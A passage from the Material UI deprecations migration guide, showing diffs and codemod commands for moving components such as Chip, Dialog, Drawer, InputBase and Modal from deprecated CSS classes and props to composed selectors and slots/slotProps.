.MuiChip-deleteIconOutlinedColorSecondary\n+.MuiChip-root.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconFilledColorPrimary\n+.MuiChip-root.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon\n-.MuiChip-root .MuiChip-deleteIconFilledColorSecondary\n+.MuiChip-root.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon\n```\n\n```diff\n import { chipClasses } from '@mui/material/Chip';\n\n MuiChip: {\n   styleOverrides: {\n     root: {\n-      [`&.${chipClasses.clickableColorPrimary}`]: {\n+      [`&.${chipClasses.clickable}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.clickableColorSecondary}`]: {\n+      [`&.${chipClasses.clickable}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.deletableColorPrimary}`]: {\n+      [`&.${chipClasses.deletable}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.deletableColorSecondary}`]: {\n+      [`&.${chipClasses.deletable}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.outlinedPrimary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.outlinedSecondary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.filledPrimary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${chipClasses.filledSecondary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarColorPrimary}`]: {\n+      [`&.${chipClasses.colorPrimary} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.avatarColorSecondary}`]: {\n+      [`&.${chipClasses.colorSecondary} > .${chipClasses.avatar}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconColorPrimary}`]: {\n+      [`&.${chipClasses.colorPrimary} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.iconColorSecondary}`]: {\n+      [`&.${chipClasses.colorSecondary} > .${chipClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.labelSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.label}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.labelMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.label}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconSmall}`]: {\n+      [`&.${chipClasses.sizeSmall} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconMedium}`]: {\n+      [`&.${chipClasses.sizeMedium} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconColorPrimary}`]: {\n+      [`&.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconColorSecondary}`]: {\n+      [`&.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconOutlinedColorPrimary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconOutlinedColorSecondary}`]: {\n+      [`&.${chipClasses.outlined}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconFilledColorPrimary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorPrimary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n-      [`& .${chipClasses.deleteIconFilledColorSecondary}`]: {\n+      [`&.${chipClasses.filled}.${chipClasses.colorSecondary} > .${chipClasses.deleteIcon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## CircularProgress\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#circular-progress-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/circular-progress-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `circle` CSS class and `variant` prop values were removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiCircularProgress-circleDeterminate\n-.MuiCircularProgress-circleIndeterminate\n+.MuiCircularProgress-determinate > .MuiCircularProgress-circle\n+.MuiCircularProgress-indeterminate > .MuiCircularProgress-circle\n```\n\n```diff\n import { circularProgressClasses } from '@mui/material/CircularProgress';\n\n MuiCircularProgress: {\n   styleOverrides: {\n     root: {\n-      [`& .${circularProgressClasses.circleDeterminate}`]: {\n+      [`&.${circularProgressClasses.determinate} > .${circularProgressClasses.circle}`]: {\n         color: 'red',\n       },\n-      [`& .${circularProgressClasses.circleIndeterminate}`]: {\n+      [`&.${circularProgressClasses.indeterminate} > .${circularProgressClasses.circle}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## Divider\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#divider-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/divider-props <path>\n```\n\n### light\n\nThe Divider's `light` prop was deprecated, Use `sx={{ opacity : \"0.6\" }}` (or any opacity):\n\n```diff\n <Divider\n-  light\n+  sx={{ opacity : \"0.6\" }}\n />\n```\n\n## Dialog\n\nUse the [dialog-classes-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#dialog-classes) and [dialog-props-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#dialog-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/dialog-classes <path>\nnpx @mui/codemod@latest deprecations/dialog-props <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes composing the `scroll` prop values have been removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiDialog-root .MuiDialog-paperScrollBody\n+.MuiDialog-root .MuiDialog-scrollBody > .MuiDialog-paper\n-.MuiDialog-root .MuiDialog-paperScrollPaper\n+.MuiDialog-root .MuiDialog-scrollPaper > .MuiDialog-paper\n```\n\n```diff\n import { dialogClasses } from '@mui/material/Dialog';\n\n MuiDialog: {\n   styleOverrides: {\n     root: {\n-      [`& .${dialogClasses.paperScrollBody}`]: {\n+      [`& .${dialogClasses.scrollBody} > .${dialogClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`& .${dialogClasses.paperScrollPaper}`]: {\n+      [`& .${dialogClasses.scrollPaper} > .${dialogClasses.paper}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n\n```\n\n### TransitionComponent\n\nThe Dialog's `TransitionComponent` prop was deprecated in favor of `slots.transition`:\n\n```diff\n <Dialog\n-  TransitionComponent={CustomTransition}\n+  slots={{ transition: CustomTransition }}\n```\n\n### TransitionProps\n\nThe Dialog's `TransitionProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <Dialog\n-  TransitionProps={{ unmountOnExit: true }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n### PaperProps\n\nThe Dialog's `PaperProps` prop was deprecated in favor of `slotProps.paper`:\n\n```diff\n <Dialog\n-  PaperProps={paperProps}\n+  slotProps={{ paper: paperProps }}\n />\n```\n\n## Drawer\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#drawer-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/drawer-props <path>\n```\n\n### BackdropProps\n\nThe Drawer's `BackdropProps` prop was deprecated in favor of `slotProps.backdrop`:\n\n```diff\n <Drawer\n-  BackdropProps={backdropProps}\n+  slotProps={{ backdrop: backdropProps }}\n />\n```\n\n### PaperProps\n\nThe Drawer's `PaperProps` prop was deprecated in favor of `slotProps.paper`:\n\n```diff\n <Drawer\n-  PaperProps={paperProps}\n+  slotProps={{ paper: paperProps }}\n />\n```\n\n### SlideProps\n\nThe Drawer's `SlideProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <Drawer\n-  SlideProps={slideProps}\n+  slotProps={{ transition: slideProps }}\n />\n```\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#drawer-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/drawer-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the following props were deprecated:\n\n- `paper` and `anchor`\n- `paper`, `anchor` and `docked`\n\nHere's how to migrate:\n\n```diff\n-.MuiDrawer-paperAnchorBottom\n+.MuiDrawer-anchorBottom > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorLeft\n+.MuiDrawer-anchorLeft > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorRight\n+.MuiDrawer-anchorRight > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorTop\n+.MuiDrawer-anchorTop > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedBottom\n+.MuiDrawer-docked.MuiDrawer-anchorBottom > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedLeft\n+.MuiDrawer-docked.MuiDrawer-anchorLeft > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedRight\n+.MuiDrawer-docked.MuiDrawer-anchorRight > .MuiDrawer-paper\n-.MuiDrawer-paperAnchorDockedTop\n+.MuiDrawer-docked.MuiDrawer-anchorTop > .MuiDrawer-paper\n```\n\n```diff\n import { drawerClasses } from '@mui/material/Drawer';\n\n MuiDrawer: {\n   styleOverrides: {\n     root: {\n-      [`.${drawerClasses.paperAnchorBottom}`]: {\n+      [`&.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorLeft}`]: {\n+      [`&.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorRight}`]: {\n+      [`&.${drawerClasses.anchorRight} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorTop}`]: {\n+      [`&.${drawerClasses.anchorTop} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedBottom}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorBottom} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedLeft}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorLeft} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedRight}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorRight} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n-      [`.${drawerClasses.paperAnchorDockedTop}`]: {\n+      [`&.${drawerClasses.docked}.${drawerClasses.anchorTop} > .${drawerClasses.paper}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## FilledInput\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#filled-input-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/filled-input-props <path>\n```\n\n### components\n\nThe FilledInput's prop `components` was deprecated in favor of `slots`:\n\n```diff\n <FilledInput\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe FilledInput's prop `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <FilledInput\n-  componentsProps={{ input: { id: 'test-input-id', root: { id: 'test-root-id' } } }}\n+  slotProps={{ input: { id: 'test-input-id', root: { id: 'test-root-id' } } }}\n />\n```\n\n## FormControlLabel\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#form-control-label-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/form-control-label-props <path>\n```\n\n### componentsProps\n\nThe FormControlLabel's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <FormControlLabel\n-  componentsProps={{ typography: typographyProps }}\n+  slotProps={{ typography: typographyProps }}\n />\n```\n\n## Input\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#input-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/input-props <path>\n```\n\n### components\n\nThe Input's prop `components` was deprecated in favor of `slots`:\n\n```diff\n <Input\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe Input's prop `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <Input\n-  componentsProps={{ input: { id: 'test-input-id', root: { id: 'test-root-id' } } }}\n+  slotProps={{ input: { id: 'test-input-id', root: { id: 'test-root-id' } } }}\n />\n```\n\n## InputBase\n\nUse the [input-base-props-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#input-base-props) and [input-base-classes-codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#input-base-classes) codemods below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/input-base-props <path>\nnpx @mui/codemod@latest deprecations/input-base-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `input` class with other props `size`, `type`, `multiline`, `adornedStart`, `adornedEnd`, and `hiddenLabel` have been removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiInputBase-root .MuiInputBase-inputSizeSmall\n+.MuiInputBase-root.MuiInputBase-sizeSmall > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputMultiline\n+.MuiInputBase-root.MuiInputBase-multiline > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputAdornedStart\n+.MuiInputBase-root.MuiInputBase-adornedStart > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputAdornedEnd\n+.MuiInputBase-root.MuiInputBase-adornedEnd > .MuiInputBase-input\n-.MuiInputBase-root .MuiInputBase-inputHiddenLabel\n+.MuiInputBase-root.MuiInputBase-hiddenLabel > .MuiInputBase-input\n```\n\n```diff\n import { inputBaseClasses } from '@mui/material/InputBase';\n\n MuiInputBase: {\n   styleOverrides: {\n     root: {\n-      [`& .${inputBaseClasses.inputSizeSmall}`]: {\n+      [`&.${inputBaseClasses.sizeSmall} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputMultiline}`]: {\n+      [`&.${inputBaseClasses.multiline} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputAdornedStart}`]: {\n+      [`&.${inputBaseClasses.adornedStart} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputAdornedEnd}`]: {\n+      [`&.${inputBaseClasses.adornedEnd} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n-      [`& .${inputBaseClasses.inputHiddenLabel}`]: {\n+      [`&.${inputBaseClasses.hiddenLabel} > .${inputBaseClasses.input}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n### components\n\nThe InputBase's prop `components` was deprecated in favor of `slots`:\n\n```diff\n <InputBase\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe InputBase's prop `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <Input\n-  componentsProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n+  slotProps={{ input: { id: 'test-input-id' }, root: { id: 'test-root-id' } }}\n />\n```\n\n## ListItem\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#list-item-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/list-item-props <path>\n```\n\n### components\n\nThe ListItem's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <ListItem\n-  components={{ Root: CustomRoot }}\n+  slots={{ root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe ListItem's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <ListItem\n-  componentsProps={{ root: { id: 'root-id' } }}\n+  slotProps={{ root: { id: 'root-id' } }}\n />\n```\n\n### ContainerComponent\n\nThe ListItem's `ContainerComponent` prop was deprecated in favor of `slots.root` or `component` instead.\n\n```diff\n <ListItem\n-  ContainerComponent={CustomContainer}\n+  slots={{ root: CustomContainer }}\n />\n```\n\n### ContainerProps\n\nThe ListItem's `ContainerProps` prop was deprecated in favor of `slotProps.root` instead.\n\n```diff\n <ListItem\n-  ContainerProps={{ id: 'container-id' }}\n+  slotProps={{ root: { id: 'container-id' } }}\n />\n```\n\n## ListItemSecondaryAction\n\n### Deprecated component\n\nThe ListItemSecondaryAction component was deprecated in favor of the `secondaryAction` prop in the ListItem component.\n\n```diff\n <ListItem\n+  secondaryAction={\n+    <IconButton aria-label=\"Leave a comment\">\n+      <CommentIcon />\n+    </IconButton>\n+  }\n   disablePadding\n >\n   <ListItemButton>\n     <ListItemText primary=\"John Doe\" />\n   </ListItemButton>\n-  <ListItemSecondaryAction>\n-    <IconButton aria-label=\"Leave a comment\">\n-      <CommentIcon />\n-    </IconButton>\n-  </ListItemSecondaryAction>\n </ListItem>\n```\n\n## ListItemText\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#list-item-text-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/list-item-text-props <path>\n```\n\n### primaryTypographyProps\n\nThe ListItemText's `primaryTypographyProps` props were deprecated in favor of `slotProps.primary`:\n\n```diff\n <ListItemText\n-  primaryTypographyProps={primaryTypographyProps}\n+  slotProps={{ primary: primaryTypographyProps }}\n />\n```\n\n### secondaryTypographyProps\n\nThe ListItemText's `secondaryTypographyProps` props were deprecated in favor of `slotProps.secondary`:\n\n```diff\n <ListItemText\n-  secondaryTypographyProps={secondaryTypographyProps}\n+  slotProps={{ secondary: secondaryTypographyProps }}\n />\n```\n\n## ImageListItemBar\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#image-list-item-bar-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/image-list-item-bar-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the following props were deprecated:\n\n- `position` prop and `titleWrap` class\n- `actionPosition` prop and `titleWrap` class\n- `actionPosition` prop and `actionIcon` class\n\nHere's how to migrate:\n\n```diff\n-.MuiImageListItemBar-titleWrapBelow\n+.MuiImageListItemBar-positionBelow > .MuiImageListItemBar-titleWrap\n-.MuiImageListItemBar-titleWrapActionPosLeft\n+.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-titleWrap\n-.MuiImageListItemBar-titleWrapActionPosRight\n+.MuiImageListItemBar-actionPositionRight > .MuiImageListItemBar-titleWrap\n-.MuiImageListItemBar-actionIconActionPosLeft\n+.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-actionIcon\n```\n\n```diff\n import { imageListItemBarClasses } from '@mui/material/ImageListItemBar';\n\n MuiImageListItemBar: {\n   styleOverrides: {\n     root: {\n-      [`& .${imageListItemBarClasses.titleWrapBelow}`]: {\n+      [`&.${imageListItemBarClasses.positionBelow} > .${imageListItemBarClasses.titleWrap}`]: {\n         color: 'red',\n       },\n-      [`& .${imageListItemBarClasses.titleWrapActionPosLeft}`]: {\n+      [`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.titleWrap}`]: {\n         color: 'red',\n       },\n-      [`& .${imageListItemBarClasses.titleWrapActionPosRight}`]: {\n+      [`&.${imageListItemBarClasses.actionPositionRight} > .${imageListItemBarClasses.titleWrap}`]: {\n         color: 'red',\n       },\n-      [`& .${imageListItemBarClasses.actionIconActionPosLeft}`]: {\n+      [`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.actionIcon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n## LinearProgress\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#linear-progress-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/linear-progress-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `variant` and `color` prop values were deprecated.\n\nHere's how to migrate:\n\n```diff\n-.MuiLinearProgress-bar1Buffer\n+.MuiLinearProgress-buffer > .MuiLinearProgress-bar1\n-.MuiLinearProgress-bar1Determinate\n+.MuiLinearProgress-determinate > .MuiLinearProgress-bar1\n-.MuiLinearProgress-bar1Indeterminate\n+.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1\n-.MuiLinearProgress-bar2Buffer\n+.MuiLinearProgress-buffer > .MuiLinearProgress-bar2\n-.MuiLinearProgress-bar2Indeterminate\n+.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2\n-.MuiLinearProgress-barColorPrimary\n+.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar\n-.MuiLinearProgress-barColorSecondary\n+.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar\n-.MuiLinearProgress-dashedColorPrimary\n+.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed\n-.MuiLinearProgress-dashedColorSecondary\n+.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed\n```\n\n```diff\n import { linearProgressClasses } from '@mui/material/LinearProgress';\n\n MuiLinearProgress: {\n   styleOverrides: {\n     root: {\n-      [`&.${linearProgressClasses.bar1Buffer}`]: {},\n+      [`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar1}`]: {},\n-      [`&.${linearProgressClasses.bar1Determinate}`]: {},\n+      [`&.${linearProgressClasses.determinate} > .${linearProgressClasses.bar1}`]: {},\n-      [`&.${linearProgressClasses.bar1Indeterminate}`]: {},\n+      [`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar1}`]: {},\n-      [`&.${linearProgressClasses.bar2Buffer}`]: {},\n+      [`&.${linearProgressClasses.buffer} > .${linearProgressClasses.bar2}`]: {},\n-      [`&.${linearProgressClasses.bar2Indeterminate}`]: {},\n+      [`&.${linearProgressClasses.indeterminate} > .${linearProgressClasses.bar2}`]: {},\n-      [`&.${linearProgressClasses.barColorPrimary}`]: {},\n+      [`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.bar}`]: {},\n-      [`&.${linearProgressClasses.barColorSecondary}`]: {},\n+      [`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.bar}`]: {},\n-      [`&.${linearProgressClasses.dashedColorPrimary}`]: {},\n+      [`&.${linearProgressClasses.colorPrimary} > .${linearProgressClasses.dashed}`]: {},\n-      [`&.${linearProgressClasses.dashedColorSecondary}`]: {},\n+      [`&.${linearProgressClasses.colorSecondary} > .${linearProgressClasses.dashed}`]: {},\n     },\n   },\n }\n```\n\n## Menu\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#menu-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/menu-props <path>\n```\n\n### MenuListProps\n\nThe Menu's `MenuListProps` prop was deprecated in favor of `slotProps.list`:\n\n```diff\n <Menu\n-  MenuListProps={menuListProps}\n+  slotProps={{ list: menuListProps }}\n >\n```\n\n### TransitionProps\n\nThe Menu's `TransitionProps` prop was deprecated in favor of `slotProps.transition`:\n\n```diff\n <Menu\n-  TransitionProps={transitionProps}\n+  slotProps={{ transition: transitionProps }}\n >\n```\n\n## MobileStepper\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#mobile-stepper-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/mobile-stepper-props <path>\n```\n\n### LinearProgressProps\n\nThe MobileStepper's `LinearProgressProps` prop was deprecated in favor of `slotProps.progress`:\n\n```diff\n <MobileStepper\n-  LinearProgressProps={{ color: 'primary' }}\n+  slotProps={{ progress: { color: 'primary' } }}\n />\n```\n\n## Modal\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#modal-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/modal-props <path>\n```\n\n### components\n\nThe Modal's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <Modal\n-  components={{ Root: CustomRoot, Backdrop: CustomBackdrop }}\n+  slots={{ root: CustomRoot, backdrop: CustomBackdrop }}\n >\n```\n\n### componentsProps\n\nThe Modal's `componentsProps` prop was deprecated in favor of `slotProps`:\n\n```diff\n <Modal\n-  componentsProps={{ root: { id: 'root-id' }, backdrop: { id: 'backdrop-id' } }}\n+  slotProps={{ root: { id: 'root-id' }, backdrop: { id: 'backdrop-id' } }}\n >\n```\n\n### BackdropProps\n\nThe Modal's `BackdropProps` prop was deprecated in favor of `slotProps.backdrop`:\n\n```diff\n <Modal\n-  BackdropProps={{ timeout: 500 }}\n+  slotProps={{ backdrop: { timeout: 500 } }}\n >\n```\n\n### BackdropComponent\n\nThe Modal's `BackdropComponent` prop was deprecated in favor of `slots.backdrop`:\n\n```diff\n <Modal\n-  BackdropComponent={Backdrop}\n+  slots={{ backdrop: Backdrop }}\n >\n```\n\n## OutlinedInput\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#outlined-input-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/outlined-input-props <path>\n```\n\n### components\n\nThe OutlinedInput's prop `components` was deprecated in favor of `slots`:\n\n```diff\n <OutlinedInput\n-  components={{ Input: CustomInput, Root: CustomRoot }}\n+  slots={{ input: CustomInput, root: CustomRoot }}\n />\n```\n\n### componentsProps\n\nThe OutlinedInput's prop `componentsProps` was deprecated in favor of `slotProps`:\n\n```diff\n <OutlinedInput\n-  componentsProps={{ input: { id: 'test-input-id', root: { id: 'test-root-id' } } }}\n+  slotProps={{ input: { id: 'test-input-id', root: { id: 'test-root-id' } } }}\n />\n```\n\n## PaginationItem\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#pagination-item-classes) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/pagination-item-classes <path>\n```\n\n### Composed CSS classes\n\nThe CSS classes that composed the `variant` and `color` prop values were removed.\n\nHere's how to migrate:\n\n```diff\n-.MuiPaginationItem-textPrimary\n+.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\n-.MuiPaginationItem-outlinedPrimary\n+.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\n-.MuiPaginationItem-textSecondary\n+.MuiPaginationItem-text.MuiPaginationItem-colorSecondary\n-.MuiPaginationItem-outlinedSecondary\n+.MuiPaginationItem-outlined.MuiPaginationItem-colorSecondary\n```\n\n```diff\n import { paginationItemClasses } from '@mui/material/PaginationItem';\n\n MuiPaginationItem: {\n   styleOverrides: {\n     root: {\n-      [`&.${paginationItemClasses.textPrimary}`]: {\n+      [`&.${paginationItemClasses.text}.${paginationItemClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${paginationItemClasses.outlinedPrimary}`]: {\n+      [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorPrimary}`]: {\n         color: 'red',\n       },\n-      [`&.${paginationItemClasses.textSecondary}`]: {\n+      [`&.${paginationItemClasses.text}.${paginationItemClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n-      [`&.${paginationItemClasses.outlinedSecondary}`]: {\n+      [`&.${paginationItemClasses.outlined}.${paginationItemClasses.colorSecondary}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\n### components\n\nThe PaginationItems's `components` prop was deprecated in favor of `slots`:\n\n```diff\n <PaginationItems\n-  components={{ first: FirstIcon, last: LastIcon, previous: PreviousIcons, next: NextIcon }}\n+  slots={{ first: FirstIcon, last: LastIcon, previous: PreviousIcons, next: NextIcon }}\n />\n```\n\n## Popover\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#popover-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/popover-props <path>\n```\n\n### BackdropComponent\n\nThe Popover's `BackdropComponent` prop was deprecated in favor of `slots.backdrop`:\n\n```diff\n <Popover\n-  BackdropComponent={Backdrop}\n+  slots={{ backdrop: Backdrop }}\n >\n```\n\n### BackdropProps\n\nThe Popover's `BackdropProps` prop was deprecated in favor of `slotProps.backdrop`:\n\n```diff\n <Popover\n-  BackdropProps={{ timeout: 500 }}\n+  slotProps={{ backdrop: { timeout: 500 } 